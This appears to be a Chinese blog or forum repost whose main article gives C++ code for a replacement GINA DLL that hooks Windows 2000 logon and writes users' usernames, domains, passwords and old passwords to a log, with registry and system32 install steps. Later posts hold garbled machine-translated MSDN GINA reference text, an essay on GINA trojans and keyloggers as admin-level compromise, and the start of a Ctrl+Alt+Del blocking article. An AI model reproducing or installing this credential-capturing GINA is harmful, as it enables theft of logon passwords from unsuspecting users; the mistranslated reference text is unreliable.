您的位置:首页 > 其它

WINDOWS 2000下如何获得用户登录名和密码

2006-05-23 14:01 1066 查看
-- WINDOWS 2000下如何获得用户登录名和密码

[align=center]WINDOWS 2000下如何获得用户登录名和密码
作者:moonstone [/align]
下载本文示例源代码一、原理
在NT/2000中交互式的登陆支持是由WinLogon调用GINA DLL实现的,GINA DLL提供了一个交互式的界面为用户登陆提供认证请求。WinLogon会和GINA DLL进行交互,缺省是MSGINA.DLL(在System32目录下)。微软同时也为我们提供了接口,我们可以自己编写GINA DLL来代替MSGINA.DLL。

WinLogon初始化时会创建3个桌面:
(1)、winlogon桌面:主要显示Windows 安全等界面,如你按下CTRL+ALT+DEL,登陆的界面等
(2)、应用程序桌面:我们平时见到的那个有我的电脑的界面
(3)、屏幕保护桌面:屏幕保护显示界面。

在默认情况下,GINA显示登陆对话框,用户输入用户名及密码 。所以要获得用户名和密码 ,则可以写一个新的GINA DLL,其中提供接口调用msgina.dll的函数WlxLoggedOutSAS。

二、程序实现
GINA DLL要输出下列函数(winlogon会调用):

(表一)GINA 函数一览表

函数 描述
WlxActivateUserShell激活用户外壳程序
WlxDisplayLockedNotice允许GINA DLL 显示锁定信息
WlxDisplaySASNotice 当没有用户登陆时,Winlogon调用此函数
WlxDisplayStatusMessageWinlogon 用一个状态信息调用此函数进行显示
WlxGetConsoltchCredentials Winlogon调用此函数读取当前登陆用户的信任信息,并透明地将它们传到目标会话
WlxGetStatusMessage Winlogon 调用此函数获取当前状态信息
WlxInitialize 针对指定的窗口位置进行GINA DLL初始化
WlxIsLockOk 验证工作站正常锁定
WlxIslogoffOk 验证注销正常
WlxLoggedOnSAS 用户已登陆并且工作站没有被加锁,如果此时接收到SAS事件,则Winlogon 调用此函数
WlxLoggedOutSAS 没有用户登陆,如果此时收到SAS事件,则Winlogon 调用此函数, This indicates that a logon attempt should be made 。
WlxLogoff 请求注销操作时通知GINA DLL
WlxNegotiate 表示当前的Winlogon版本是否能使用GINA DLL
WlxNetworkProviderLoad 在加载网络服务提供程序收集了身份和认证信息后,Winlogon 调用此函数
WlxRemoveStatusMessage Winlogon 调用此函数告诉GINA DLL 停止显示状态信息
WlxScreensaverNotify 允许GINA与屏幕保护操作交互
WlxShutdown 在关闭之前Winlogon 调用此函数,允许GINA实现任何关闭任务,例如从读卡器中退出智能卡
WlxStartApplication 当系统需要在用户的上下文中启动应用程序时调用此函数
WlxWkstaLockedSAS当工作站被锁定,如果接收到一个SAS,则Winlogon 调用此函数
为了简化编程,我们从MSGINA.DLL中动态获取上述函数,在自定义的DLL中(以下称为MyGina.DLL)中直接调用MSGINA.DLL的函数即可。现在我们要处理的就是WlxLoggedOutSAS函数:

/********************************************************************/
//在启动到登陆界面时,系统(Winlogon.exe)会调用WlxLoggedOutSAS!

int  WINAPI WlxLoggedOutSAS (
PVOID                  pWlxContext,
DWORD                 dwSasType,
PLUID        &nb
20000
sp;          pAuthenticationId,
PSID                    pLogonSid,
PDWORD                pdwOptions,
PHANDLE                phToken,
PWLX_MPR_NOTIFY_INFO pMprNotifyInfo,
PVOID *                 pProfile)
{
int iRet=0;
PWSTR pszUserName=NULL;     //用户名
PWSTR pszDomain=NULL;       //机器名
PWSTR pszPassword=NULL;      //密码
PWSTR pszOldPassword=NULL;   //旧密码
PSTR pLogonTime=new char[100]; //登录时间

//调用 标准MSGINA.DLL中的WlxLoggedOutSAS()函数
iRet = prcWlxLoggedOutSAS(
pWlxContext,
dwSasType,
pAuthenticationId,
pLogonSid,
pdwOptions,
phToken,
pMprNotifyInfo,
pProfile);

if(iRet == WLX_SAS_ACTION_LOGON)
{
//Get logon time
CTime tm=CTime::GetCurrentTime();
::sprintf(pLogonTime,"%d_%d_%d %d:%d:%d     //r//n",
tm.GetYear(),
tm.GetMonth(),
tm.GetDay(),
tm.GetHour(),
tm.GetMinute(),
tm.GetSecond());

if(pLogonTime!=NULL)
{
WriteInfo("logon_time: ");
WriteInfo(pLogonTime);
}

// copy pMprNotifyInfo and pLogonSid for later use
pszUserName=pMprNotifyInfo->pszUserName;
if(pszUserName!=NULL)
{
WriteInfo("Username  : ");
WriteInfoW(pszUserName);
}

pszDomain=pMprNotifyInfo->pszDomain;
if(pszDomain!=NULL)
{
WriteInfo("Domain    : ");
WriteInfoW(pszDomain);
}

pszPassword =pMprNotifyInfo->pszPassword;
if(pszPassword!=NULL)
{
WriteInfo("PassWord  : ");
WriteInfoW(pszPassword);
}

pszOldPassword=pMprNotifyInfo->pszOldPassword;
if(pszOldPassword!=NULL)
{
WriteInfo("OldPassword: ");
WriteInfoW(pszOldPassword);
}

}

return iRet;

}
/********************************************************************/

还有要注意的是,从pMprNotifyInfo获得都是unicode字符串,显示的时候要先把它们转换成ASCII字符串 :

void WriteInfoW(PWSTR WideStr)  //显示unicode字符串信息
{

//获取unicode字符串的字符个数
int nstrlen=WideCharToMultiByte(CP_ACP,0,WideStr,-1, NULL,0,NULL,NULL);

//在进程堆中分配空间
PSTR tempStr=(PSTR)HeapAlloc(GetProcessHeap(),0,nstrlen);

if(tempStr==NULL) return ;

//把unicode字符串转换为ASCII字符串
WideCharToMultiByte(CP_ACP,0,WideSt ,-1, tempStr,nstrlen,NULL,NULL);

WriteInfo(tempStr); //显示ASCII字符串信息

//释放分配的堆空间
HeapFree(GetProcessHeap(),0,tempStr);

}

三、安装和注意事项:

在编写GIAN DLL中要注意,GINA DLL使用的是unicode。

【安装】GINA DLL的安装:
1. 添加注册表
键名 : //HKEY_LOCAL_MACHINE//Software//Microsoft//Windows NT//CurrentVersion//Winlogon
变量名 : GinaDLL
变量类型 : [REG_SZ]
内容 : "你的GINA DLL的名称" 如:"MyGina.DLL:

2. 将你的GINA DLL(MyGina.dll)拷贝到系统目录下(system32);

3. 重启机器,你的GINA DLL(MyGina.dll)就会运行。

【注意】
1. 如果出现进不了你的系统,那你进入DOS后,将msgina.dll拷贝成你的GINA DLL(MyGina.dll)就可进入了;或者进入安全模式,删除掉那个键值( GinaDLL )。

2. Console 程序如果想使用MFC类,必须包含<afx.h>,同时注释掉<windows.h>。

3. 如果出现这种错误:“LINK : fatal error LNK1104: cannot open file "mfc42u.lib" ”,那么说明 lib路径的设置问题,你的链接器在指定的目录下没有找到这个的文件,你应该添加新的目录以便编译器找到所需的库文件。具体位置:IDE中 菜单Tools//Options//Directories//show directories for// <library files>。

4. 如果出现这种错误:“uafxcwd.lib(dllmodul.obj) : error LNK2005: _DllMain@12 already defined in main.obj ”或者“mfcs42ud.lib(dllmodul.obj) : error LNK2005: _DllMain@12 already defined in main.obj ”,那么“See if you have _AFXDLL and _USRDLL in the preprocessor definitions. Try removing one of them”。具体位置:IDE中 菜单Project // Setting // C/C++ // preprocessor definition 。

-- 作者:0934
-- 发布时间:2005-4-25 5:54:26

--
http://msdn.microsoft.com/library/en-us/secauthn/security/winlogon_and_gina.asp
-- 作者:0934
-- 发布时间:2005-4-25 6:11:18

--

GINA出口函数

AGINA 动态链接库必须出口下列函数。
函数描述
WlxActivateUserShell触发用户壳节目。
WlxDisplayLockedNotice允许GINA动态链接库显示锁信息。
WlxDisplaySASNoticeWinlogon调用这函数当时没有用户笨拙在上。
WlxDisplayStatusMessage与一条状况消息Winlogon调用这功能显示。
WlxGetConsoltchCredentialsWinlogon调用这函数读当前笨拙在用户的凭证到上透明地把他们转移到一次目标会议。
WlxGetStatusMessageWinlogon调用这函数得到当前的状况消息。
WlxInitialize为一个详细的窗户车站初始化GINA动态链接库。
WlxIsLockOk查证那工作站锁是同意。
WlxIsLogoffOk核实那注销是同意。
WlxLoggedOnSAS当它收到时Winlogon调用这函数一安全的注意序列 (SAS) 事件当时用户笨拙上并且工作站是没锁住。
WlxLoggedOutSAS当它收到一个SAS事件时Winlogon调用这函数当时没有用户笨拙在上。
WlxLogoff通报GINA动态链接库一注销军事行动被请求。
WlxNegotiate显示与GINA动态链接库Winlogon的当前的版本能是否被使用。
WlxNetworkProviderLoad在它以后Winlogon把这功能称为负担收集有效的认证和鉴定信息的一名网络供应商。
WlxRemoveStatusMessageWinlogon调用这函数告诉GINA动态链接库停止显示状况消息。
WlxScreensaverNotify允许GINA在屏幕保护器手术方面交往。
WlxShutdown就在关闭以前Winlogon调用这函数, 允许GINA演出任何关闭任务, 例如弹射一智能卡 从一读者.
WlxStartApplication当系统需要在用户的家被开始了的一个应用时Winlogon调用这函数上下文.
WlxWkstaLockedSAS当当工作站被锁时它收到一SAS时Winlogon调用这函数。

登录用户函数

下列函数提供能力登录一个用户。
函数描述
LogonUser到元木的尝试在到本地的计算机上的一个用户。
LogonUserEx到元木的尝试在到本地的计算机上的一个用户。 这函数是一个扩充的版本的LogonUser 函数并且搜索在笨拙上用户的家的信息安全标识符 (SID), 侧面, 并且限额极限。

Winlogon支持函数

GINA动态链接库能打电话下列Winlogon 支持函数。
函数由GINA打电话了
WlxAssignShellProtection为壳节目的请求保护一最新在笨拙上用户。
WlxChangePasswordNotify显示用户已经改变一道口令。 过去常通报所有的网络供应商。
WlxChangePasswordNotifyEx显示用户已经改变一道口令。 过去常通报一名单个的网络供应商或所有的网络供应商。
WlxCloseUserDesktop为用户关上一张桌面。
WlxCreateUserDesktop为用户创造一张桌面。
WlxDialogBox从对话框模板资源创造一个样式的对话框。
WlxDialogBoxIndirect从一块对话框模板在存储器创造一个样式的对话框。
WlxDialogBoxIndirectParam初始化对话框控制并且从一块对话框模板在存储器然后创造一个样式的对话框。
WlxDialogBoxParam初始化对话框控制并且从对话框模板资源然后创造一个样式的对话框。
WlxDisconnect离开一次接线端服务网络会议。
WlxGetOption搜索一个规定的选择的当前的价值。
WlxGetSourceDesktop决定桌面的名字和柄在切换到Winlogon桌面的Winlogon以前那是活跃的。
WlxMessageBox创造, 显示, 并且操作一个消息盒子。
WlxQueryClientCredentials查询一位遥远的顾客的凭证那是不使用一个因特网连接器许可证。
WlxQueryConsoltchCredentials查询从暂时的会议的Winlogon被转移了到目的地会议的Winlogon的凭证。
WlxQueryInetConnectorCredentials查询那正在使用一个因特网连接器许可证的一位遥远的顾客的凭证。
WlxQueryTerminalServicesData查询接线端服务用户构造信息。
WlxSasNotify通报安全的注意序列的Winlogon(SAS) 事件。
WlxSetContextPointer规定作为第一个参数Winlogon传递了到所有的GINA函数的上下文指示器。
WlxSetOption为一个详细的选择规定价值。
WlxSetReturnDesktop规定在当前的SAS以后Winlogon将切换到处理的事件的桌面是完全的。
WlxSetTimeout改变与一个对话框被联系了的过期。
WltchDesktopToUser切换到应用桌面。
WltchDesktopToWinlogon切换到Winlogon桌面。
WlxWin31Migrate完成用户的设置(包括从Windows移民 NT 3.51 到Windows的设置 NT 4.0背景)。
WlxUseCtrlAltDel作为安全的注意序列使用标准的CTRL+ALT+DEL钥匙联合的提示符Winlogon(SAS)。
-- 作者:0934
-- 发布时间:2005-4-25 6:14:06

--

漫谈主流操作系统中可信路径安全机制 【2/22/2005 13:40:51

漫谈主流操作系统中可信路径安全机制

  等等,你也许会想到GINA木马,它不就是伪造的登陆窗口吗?在登陆到windowsNT时,我们按下ctrl+alt+del这个所谓的可信路径时,怎么没有将它杀掉?事实上,GINA木马并不是直接击败可信路径这一功能,而是破坏了可信路径下层的TCB,改变了TCB中软件结构的一部分!现在我们来回忆一下GINA木马的一些细节,还记得吧?

  GINA[GINA: Graphical Identification and Authentication,图形身份验证 ] 在windows中,缺省的GINA就是msgina.dll ,它是运行在winlogon.exe的进程空间中的,由注册表中//HKEY_LOCAL_MACHINE//Software//Microsoft//Windows NT//CurrentVersion//Winlogon//GinaDLL=yourgina.dll 定义,默认情况下则就是msgina.dll,而GINA木马的实现机理则就是通过修改注册表,将原来的msgina.dll替换为自己的木马GINA,以此实现将截获的用户名和密码保存在某个文件中,供黑帽子读取。

  严格来说这确实不算是直接击败了SAS可信路径功能,因为必须有administrator权限才能进行操作注册表,完成替换系统文件的工作,而这种方式是微软提供给客户的一种功能,方便客户以自己的方式来进行用户身份验证,比如使用指纹鉴别仪,视网膜扫校仪等非口令验证方式,只要替换msgina.dll为特定的GINA,就可以完成这种衔接工作,因此这只是一种功能,不是缺陷,更不能算是漏洞;并且,在WINDOWS这种操作系统中,若得到了admin权限,则再也没有什么不能做的事。

  在美国foundstone公司编撰的《黑客大曝光》[Hacking Exposed]一书中,也提到了一个能捕获ctrl + alt + del 三键序列之后的密码操作的工具,Invisible Keylogger Stealth (IKS),它能远程安装,安装后需要重启,之后就能运行在后台,偷偷窃取用户的密码,并将其记录在iks.dat 文件中,且该iks.dat 文件是二进制格式,需专用的datview程序解读,隐蔽性不可谓不好,不过这个程序仍然不是直接击败可信路径,而是破坏了目标机器的TCB,与GINA木马类似的,它也需要管理员权限,因为它是基于编制设备驱动程序来实现其功能的,而在一台WINNT机器上安全设备驱动,自然必须管理员才能完成操作。因此这仍然不能算是一个漏洞,从TCB概念的角度来分析也是如此,是TCB中的一部分改变了另一部分,记得我们前面所说的系统管理员也是TCB的构成部分吗?这里指的系统管理员并非具体的人,而是拥有管理权限的帐户,机器、程序是不会辨别人类的,谁控制了管理帐户,机器就听谁的指挥。

NT系列windows操作系统的启动过程中关于SAS的定义过程是:
初始化时GINA已经收到VOID WlxUseCtrlAltDel(HANDLE hWlx);这个函数它的作用就是通知winlogon.exe,GINA默认使用ctrl+alt+del这个标准SAS.如果要用自己定义SAS序列的话,开发者必须在编制自己的GINA.dll时
自行HOOK热键.并且通过:
WlxSasNotify(hGlobalWlx, dwSasType);
这个函数来报告将使用的SAS。
GINA将提供给winlogon.exe一个函数:
VOID WINAPI WlxDisplaySASNotice(PVOID pContext);
用于显示欢迎画面以及验证是否使用了自定义的SAS序列。

[align=right][此贴子已经被作者于2005-4-25 6:15:23编辑过][/align]
-- 作者:0934
-- 发布时间:2005-4-25 6:15:53

--

WlxUseCtrlAltDel

WlxUseCtrlAltDel 函数被调用由GINA 告诉Winlogon 使用标准的CTRL+ALT+DEL钥匙联合作为一安全的注意序列 (SAS)。

这函数已经被替代由WlxSetOption 函数打电话了与选择 参数设定到WLX_OPTION_USE_CTRL_ALT_DEL。

空旷 WlxUseCtrlAltDel(   hWlx);


参数

hWlx [在] Winlogon柄提供了给GINA在WlxInitialize 打电话。

返回值

这函数没有返回值。

讲话

如果GINA使用这函数, 它是没要求使用WlxSasNotify 函数。 然而, 如果为另外的蔬菜除了CTRL+ALT+DEL GINA正在监视, 它必须使用WlxSasNotify 交付附加的SAS事件通知。

要求

顾客要求Windows XP, Windows 2000 职业, 或Windows NT工作站 4.0 SP3并且以后。
服务者要求Windows服务器 2003, Windows 2000 服务者, 或Windows NT服务者 3.51并且以后。
首领在Winwlx声明了...。

-- 作者:0934
-- 发布时间:2005-4-25 6:17:34

--

WlxSasNotify

WlxSasNotify 函数被调用由GINA 通报Winlogon 的一安全的注意序列 (SAS) 事件。

空旷 WlxSasNotify(   hWlx,  DWORD dwSasType);


参数

hWlx [在] 规定被传递了给GINA在的Winlogon柄WlxInitialize 打电话。 dwSasType [在] 规定那发生了的SAS的类型。
到WLX_SAS_TYPE_MAX_MSFT_VALUE的从零的价值被保留定义标准的微软SAS类型。 GINA开发者能使用比WLX_SAS_TYPE_MAX_MSFT_VALUE伟大的价值定义附加的SAS类型。

下列价值被预先规定。

这值将被送到由Winlogon服务例程调用了的GINA SAS的之一(WlxLoggedOutSAS, WlxLoggedOnSAS, 或WlxWkstaLockedSAS).

价值意思
WLX_SAS_TYPE_CTRL_ALT_DEL显示用户已经打CTRL+ALT+DEL SAS。

返回值

这函数没有返回值。

要求

顾客要求Windows XP, Windows 2000 职业, 或Windows NT工作站 4.0 SP3并且以后。
服务者要求Windows服务器 2003, Windows 2000 服务者, 或Windows NT服务者 3.51并且以后。
首领在Winwlx声明了...。

-- 作者:0934
-- 发布时间:2005-4-25 6:25:07

--

WlxLoggedOutSAS

WlxLoggedOutSAS 函数必须被代替实现GINA 动态链接库。 Winlogon 当它收到时调用这函数一安全的注意序列 (SAS) 事件当时没有用户笨拙在上。

int WlxLoggedOutSAS(  PVOID pWlxContext,  DWORD dwSasType,  PLUID pAuthenticationId,  PSID pLogonSid,  PDWORD pdwOptions,  PHANDLE phToken,  PWLX_MPR_NOTIFY_INFO pNprNotifyInfo,  PVOID* pProfile);


参数

pWlxContext [在] 与这个窗户车站到GINA上下文的一个指示器联系了。 当Winlogon打电话时GINA归还这上下文价值WlxInitialize 为这个车站。 dwSasType [在] 规定那发生了的SAS的类型。 到WLX_SAS_TYPE_MAX_MSFT_VALUE的从零的价值被保留定义标准的微软SAS类型。 由使用比WLX_SAS_TYPE_MAX_MSFT_VALUE伟大的价值GINA开发者能定义附加的SAS类型。
下列SAS类型被预先规定。

价值意思
WLX_SAS_TYPE_CTRL_ALT_DEL显示一个用户已经打标准的CTRL+ALT+DEL SAS。
WLX_SAS_TYPE_SC_INSERT显示一智能卡 已经被插入到一套兼容的设备。
WLX_SAS_TYPE_SC_REMOVE显示一张智能卡已经被移开从一套兼容的设备。
WLX_SAS_TYPE_TIMEOUT显示在规定的过期时期以内没有用户输入被收到。
pAuthenticationId [外面] 规定与水流被联系了的认证标识符登录会议。 由打电话你能得到这价值GetTokenInformation 获得一TOKEN_STATISTICS 为标志的结构返回了由LogonUser 函数。 pLogonSid [在, 外面] 在输入上, 这参数意义到一安全标识符 (SID) 对当前的登录会议那唯一。 Winlogon 使用这SID在窗户车站和应用桌面上改变保护以便新的在笨拙上用户能存取他们。
在输出上, Winlogon提供一SID。 由使用你能也得到SIDGetTokenInformation 函数到搜索一TOKEN_GROUPS 为标志的结构返回了由LogonUser 函数。 做这, 寻找被归还了在的数组TOKEN_GROUPS 为有SE_GROUP_LOGON_ID的团体的结构归因。

pdwOptions [外面] 一个指示器到一DWORD 那包含登录选择的集合。 下列选择被定义。
价值意思
WLX_LOGON_OPT_NO_PROFILE
显示为在笨拙上用户那Winlogon不能装载一个侧面。 GINA动态链接库将照顾这次活动, 或用户不需要一个侧面。
phToken [外面] 到柄变数的一个指示器。 当登录军事行动成功时, 将这个柄放到那代表在笨拙上用户的一个标志。 使用LogonUser 得到这个标志的函数, 那时, 当用户离去时, Winlogon关上这个柄并且打电话WlxLogoff 函数。
如果在打电话以后你需要这个柄WlxLogoff 函数, 做一柄的在放回它至Winlogon前复制。

pNprNotifyInfo [外面] 一个指示器到一WLX_MPR_NOTIFY_INFO 那包含域的结构, 用户名字, 并且为用户的口令信息。 Winlogon将使用这条信息提供鉴定和认证信息给网络供应商。
GINA是没要求归还口令信息。 在结构以内的任何等于零的田野将被Winlogon忽略。 使用LocalAlloc 分派每根弦; Winlogon将免费他们当他们不再是时需要。

GINA应该提供域, 用户, 并且为完全的会议目录泛函性的口令值。 如果口令是没提供, 会议目录将要求用户到在用户前口令两次被连结到服务器的输入。

为保护口令的信息, 看处理口令.

pProfile [外面] 在从一次成功的认证的回来上, pProfile 参数意义到也一WLX_PROFILE_V1_0 或一WLX_PROFILE_V2_0 结构。 第一DWORD 在结构显示它是哪个结构。 Winlogon使用这结构装载在笨拙上用户的侧面, 并且自由与结构当它不再需要它时被联系了的记忆。

返回值

如果函数失败, 函数归还零。
如果函数成功, 它归还下列价值的之一。

归还代码描述
WLX_SAS_ACTION_LOGON显示一个用户笨拙在上。
WLX_SAS_ACTION_NONE显示笨拙的尝试是不成功的或取消。
WLX_SAS_ACTION_SHUTDOWN显示用户请求了系统被关闭。

讲话

在打电话前WlxLoggedOutSAS, Winlogon给桌面状态以便当前的桌面是Winlogon桌面并且给工作站状态以便桌面被锁。

别触发用户壳节目在WlxLoggedOutSAS。 用户壳节目应该总是被触发在WlxActivateUserShell.

要求

顾客要求Windows XP, Windows 2000 职业, 或Windows NT工作站 4.0 SP3并且以后。
服务者要求Windows服务器 2003, Windows 2000 服务者, 或Windows NT服务者 3.51并且以后。
首领在Winwlx声明了...。

-- 作者:0934
-- 发布时间:2005-4-25 6:28:27

--
pWlxContext [在] 与这个窗户车站到GINA上下文的一个指示器联系了。 当Winlogon打电话时GINA归还这上下文价值WlxInitialize 为这个车站。 dwSasType [在] 规定那发生了的SAS的类型。 到WLX_SAS_TYPE_MAX_MSFT_VALUE的从零的价值被保留定义标准的微软SAS类型。 由使用比WLX_SAS_TYPE_MAX_MSFT_VALUE伟大的价值GINA开发者能定义附加的SAS类型。
下列SAS类型被预先规定。

价值意思
WLX_SAS_TYPE_CTRL_ALT_DEL显示一个用户已经打标准的CTRL+ALT+DEL SAS。
WLX_SAS_TYPE_SC_INSERT显示一智能卡 已经被插入到一套兼容的设备。
WLX_SAS_TYPE_SC_REMOVE显示一张智能卡已经被移开从一套兼容的设备。
WLX_SAS_TYPE_TIMEOUT显示在规定的过期时期以内没有用户输入被收到。
pAuthenticationId [外面] 规定与水流被联系了的认证标识符登录会议。 由打电话你能得到这价值GetTokenInformation 获得一TOKEN_STATISTICS 为标志的结构返回了由LogonUser 函数。 pLogonSid [在, 外面] 在输入上, 这参数意义到一安全标识符 (SID) 对当前的登录会议那唯一。 Winlogon 使用这SID在窗户车站和应用桌面上改变保护以便新的在笨拙上用户能存取他们。
在输出上, Winlogon提供一SID。 由使用你能也得到SIDGetTokenInformation 函数到搜索一TOKEN_GROUPS 为标志的结构返回了由LogonUser 函数。 做这, 寻找被归还了在的数组TOKEN_GROUPS 为有SE_GROUP_LOGON_ID的团体的结构归因。

pdwOptions [外面] 一个指示器到一DWORD 那包含登录选择的集合。 下列选择被定义。
价值意思
WLX_LOGON_OPT_NO_PROFILE
显示为在笨拙上用户那Winlogon不能装载一个侧面。 GINA动态链接库将照顾这次活动, 或用户不需要一个侧面。
phToken [外面] 到柄变数的一个指示器。 当登录军事行动成功时, 将这个柄放到那代表在笨拙上用户的一个标志。 使用LogonUser 得到这个标志的函数, 那时, 当用户离去时, Winlogon关上这个柄并且打电话WlxLogoff 函数。
如果在打电话以后你需要这个柄WlxLogoff 函数, 做一柄的在放回它至Winlogon前复制。

pNprNotifyInfo [外面] 一个指示器到一WLX_MPR_NOTIFY_INFO 那包含域的结构, 用户名字, 并且为用户的口令信息。 Winlogon将使用这条信息提供鉴定和认证信息给网络供应商。
GINA是没要求归还口令信息。 在结构以内的任何等于零的田野将被Winlogon忽略。 使用LocalAlloc 分派每根弦; Winlogon将免费他们当他们不再是时需要。

GINA应该提供域, 用户, 并且为完全的会议目录泛函性的口令值。 如果口令是没提供, 会议目录将要求用户到在用户前口令两次被连结到服务器的输入。

为保护口令的信息, 看处理口令.

pProfile [外面] 在从一次成功的认证的回来上, pProfile 参数意义到也一WLX_PROFILE_V1_0 或一WLX_PROFILE_V2_0 结构。 第一DWORD 在结构显示它是哪个结构。 Winlogon使用这结构装载在笨拙上用户的侧面, 并且自由与结构当它不再需要它时被联系了的记忆。
-- 作者:0934
-- 发布时间:2005-4-25 6:29:20

--

以下是原文:

WlxLoggedOutSAS

The WlxLoggedOutSAS function must be implemented by a replacement GINA DLL. Winlogon calls this function when it receives a secure attention sequence (SAS) event while no user is logged on.

int WlxLoggedOutSAS(  PVOID pWlxContext,  DWORD dwSasType,  PLUID pAuthenticationId,  PSID pLogonSid,  PDWORD pdwOptions,  PHANDLE phToken,  PWLX_MPR_NOTIFY_INFO pNprNotifyInfo,  PVOID* pProfile);


Parameters

pWlxContext [in] A pointer to the GINA context associated with this window station. The GINA returns this context value when Winlogon calls WlxInitialize for this station. dwSasType [in] Specifies the type of SAS that occurred. Values from zero to WLX_SAS_TYPE_MAX_MSFT_VALUE are reserved to define standard Microsoft SAS types. GINA developers can define additional SAS types by using values greater than WLX_SAS_TYPE_MAX_MSFT_VALUE.
The following SAS types are predefined.

ValueMeaning
WLX_SAS_TYPE_CTRL_ALT_DELIndicates that a user has typed the standard CTRL+ALT+DEL SAS.
WLX_SAS_TYPE_SC_INSERTIndicates that a smart card has been inserted into a compatible device.
WLX_SAS_TYPE_SC_REMOVEIndicates that a smart card has been removed from a compatible device.
WLX_SAS_TYPE_TIMEOUTIndicates that no user input was received within the specified time-out period.
pAuthenticationId [out] Specifies the authentication identifier associated with the current logon session. You can get this value by calling GetTokenInformation to obtain a TOKEN_STATISTICS structure for the token returned by the LogonUser function. pLogonSid [in, out] On input, this parameter points to a security identifier (SID) that is unique to the current logon session. Winlogon uses this SID to change the protection on the window station and application desktop so that the new logged-on user can access them.
On output, Winlogon provides a SID. You can also get the SID by using the GetTokenInformation function to retrieve a TOKEN_GROUPS structure for the token returned by the LogonUser function. To do this, search the array returned in the TOKEN_GROUPS structure for the group with the SE_GROUP_LOGON_ID attribute.

pdwOptions [out] A pointer to a DWORD that contains the set of logon options. The following option is defined.
ValueMeaning
WLX_LOGON_OPT_NO_PROFILE
Indicates that Winlogon must not load a profile for the logged-on user. Either the GINA DLL will take care of this activity, or the user does not need a profile.
phToken [out] A pointer to a handle variable. When the logon operation succeeds, set this handle to a token that represents the logged-on user. Use the LogonUser function to get this token, then, when the user logs off, Winlogon closes this handle and calls the WlxLogoff function.
If you need this handle after calling the WlxLogoff function, make a duplicate of the handle before returning it to Winlogon.

pNprNotifyInfo [out] A pointer to an WLX_MPR_NOTIFY_INFO structure that contains domain, user name, and password information for the user. Winlogon will use this information to provide identification and authentication information to network providers.
The GINA is not required to return password information. Any NULL fields within the structure will be ignored by Winlogon. Use LocalAlloc to allocate each string; Winlogon will free them when they are no longer needed.

The GINA should provide domain, user, and password values for complete Session Directory functionality. If the password is not provided, Session Directory will require the user to input the password twice before the user is connected to the server.

For information about protecting passwords, see Handling Pas

阅读全文(745) | 回复(2) | 引用(0)[align=right] [/align]
回复:WINDOWS 2000下如何获得用户登录名和密码
nzh发表评论于2006-3-15 22:39:16
关键词
Windows2000, VC++, C++Bulider,  Visual Basic, HOOK, DLL

引言
在一些应用场合,比如基于Windows2000(以下简称Win2K)下开发工控软件需要,为了增强系统安全性,需要对键盘事件进行监控、屏蔽。满足控制系统安全性要求。作为一个Win2K后台监控软件的编写,需要注意如下要点:HOOK(键盘挂钩函数),DLL,MsgINA.dll,Shell_NotifyIcon(托盘函数)。为了提高软件编写效率,可以采用混合编程方式,即采用VC++/ C++Bulider 6.0编写DLL文件,采用Visual Basic编写客户端程序。

1 HOOKDLL简介
1) HOOK
HOOK是一种反调函数。是Windows系统为应用程序提供用于监控系统各种事件消息的类中断程序。在系统消息机制里挂上用户自定义消息处理钩子(HOOK),达到对消息的过滤。Windows系统本身提供数个HOOK函数,为实现在Win2K/NT平台下的键盘屏蔽,要采用低级键盘HOOK,即WH_KEYBOARD_LL。此HOOK函数可以屏蔽Ctrl+Esc、Alt+Tab、和Alt+Esc等系统功能键,在WINNT SP3后的操作系统中都是支持的。设置HOOK需要用到SetWindowsHookEx()函数,在程序退出后,必须用UnhookWindowsHookEx()函数卸载掉HOOK。

2) DLLMsgina.dll
DLL(动态链结库)是Microsoft Windows最重要组成之一。大多数与Windows相关程序,不是程式模块组模式,就是动态链结库模式。为实现对所有键盘事件的监控,必须将HOOK函数放在DLL文件中。
Windows本身就是由许多的DLL组成的,它所有的库模块也都设计成DLL。在Win2K在,为了屏蔽Ctrl+Alt+Del组合键,必须了解Msgina.dll。在Win2K系统中,微软采用Winlogon和GINA-Graphical Identification and Authentication提供交互式登录支持。登录成功后,按下Ctrl+Alt+Del组合键,系统将通过Winlogon调用Msgina.dll内部函数WlxLoggedOnSAS。所以要屏蔽Ctrl+Alt+Del组合键,则可以写一个新的GINA.dll,其中提供接口调用Msgina.dll,从而实现屏蔽。

3) Shell_NotifyIcon
客户端程序应该运行在后台,所以可以将其最小化在系统托盘中。采用Shell_NotifyIcon API函数用来添加、删除、更改系统托盘区(taskbar status area)的图标。

2 程序实现
在本文中,采用VC++6.开发系统GINA DLL, C++Bulider 6.0开发低层HOOK DLL,VB6.0开发客户端程序,实现混合编程。

1) 自定义GINA编写
因为自定义GINA编写资料较多,本文只简要介绍。自定义GINA可以采用VC++6.0开发。下面给出Windows2000 的Msgina内部函数表。表中函数将在自定义GINA中导入。

函数名

说明
WlxActivateUserShell
激活用户外壳程序
WlxDisPlayLockedNotice
允许GINA dll显示锁定信息
WlxDisPlaySASNotice
当没有用户登录时,winlogon调用此函数
WlxDisPlayStatusMessage
Winlogon用一个状态信息调用此函数进行显示
WlxGetConsoleSwitchCredentials
Winlogon调用此函数读取当前登录用户的信任信息,并透明的将它们传到目标会话
WlxGetStatusMessage
Winlogon调用此函数获取当前状态信息
WlxIntialize
针对指定的窗口位置进行GINA dll初始化
WlxIsLockOk
验证工作站正常锁定
WlxIslogoffOk
验证注销正常
WlxLoggedOnSAS
用户已登录并且工作站没有被加锁,若此时接收到SAS事件,则Winlogon调用此函数
WlxLoggedOutSAS
没有用户登录,若此时接收到SAS事件,则Winlogon调用此函数
WlxLogoff
请求注销操作时通知GINA dll
WlxNegotiate
表示当前的winlogon版本是否能使用GINA dll
WlxNetworkProviderLoad
在加载网络服务提供程序收集了身份和认证信息后,Winlogon调用此函数
WlxRemoveStatusMessage
Winlogon调用此函数告诉GINA dll停止显示状态信息
WlxScreensaverNotify
允许GINA与屏幕保护操作交互
WlxShutdown
在关闭之前Winlogon调用此函数,允许GINA实现任何关闭任务,例如从读卡器中退出智能卡
WlxStartApplication
当系统需要在用户的上下文中启动应用程序时调用此函数
WlxWkstalockedSAS
当工作站被锁定,如果接收到一个SAS,则Winlogon调用此函数
我们需要注意的是WlxLoggedOnSAS函数。屏蔽Ctrl+Alt+Del组合键代码将在调用该函数时添加。我们采用读取注册表键值来判断是否屏蔽,而该键值将在客户端程序中被操作。

// 当系统处于登陆成功,没有锁定的状态下
// Winlogon接收到SAS事件,于是调用该函数
int WINAPI WlxLoggedOnSAS(PVOID pWlxContext, DWORD dwSasType, PVOID pReserved)
{
HKEY hKey;
DWORD dwType=REG_DWORD; //定义读取数据类型:双字节
